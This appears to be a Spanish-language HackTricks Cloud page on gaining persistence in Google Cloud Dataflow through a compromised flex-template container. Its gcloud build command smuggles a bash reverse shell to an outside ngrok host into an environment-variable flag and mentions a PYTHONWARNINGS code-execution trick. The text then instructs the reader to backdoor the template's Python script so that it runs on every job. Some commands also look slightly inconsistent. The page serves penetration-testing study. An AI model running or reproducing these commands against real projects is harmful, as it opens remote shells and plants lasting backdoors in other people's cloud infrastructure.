Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md

2.3 KiB

GCP - Persistencia de Dataflow

{{#include ../../../banners/hacktricks-training.md}}

Dataflow

Persistencia invisible en contenedor construido

Siguiendo el tutorial de la documentación puedes crear una nueva plantilla flex (por ejemplo, python):

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Mientras se está construyendo, obtendrás un shell reverso (podrías abusar de las variables de entorno como en el ejemplo anterior u otros parámetros que configuran el archivo Docker para ejecutar cosas arbitrarias). En este momento, dentro del shell reverso, es posible ir al directorio /template y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo, este es getting_started.py). Coloca tu puerta trasera aquí para que cada vez que se ejecute el trabajo, se ejecute.

Luego, la próxima vez que se ejecute el trabajo, se ejecutará el contenedor comprometido construido:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

{{#include ../../../banners/hacktricks-training.md}}